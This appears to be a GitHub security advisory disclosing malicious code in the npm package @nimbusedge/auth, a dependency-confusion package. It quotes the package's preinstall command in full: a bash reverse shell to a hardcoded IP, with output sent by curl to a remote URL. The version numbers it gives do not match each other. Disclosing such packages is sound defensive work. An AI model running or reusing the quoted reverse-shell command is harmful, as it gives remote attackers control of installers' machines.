@nimbusedge/auth

GHSA-gr7r-8wrc-f3mw

Malicious code in @nimbusedge/auth (npm)

Details

**Severity:** Critical

**Affected versions:** `= 19999.1359.6`

## Source: amazon-inspector (a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885)
package.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/075a979b8bd8ae1bdcc2820806b3bffd6a8f39b5/osv/malicious/npm/@nimbusedge/auth/MAL-2026-16132.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/075a979b8bd8ae1bdcc2820806b3bffd6a8f39b5/osv/malicious/npm/@nimbusedge/auth/MAL-2026-16132.json
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.1
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.2
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.3
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.4
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.5
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.6
- https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.7

Compromised versions (1)

= 19999.1359.6

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.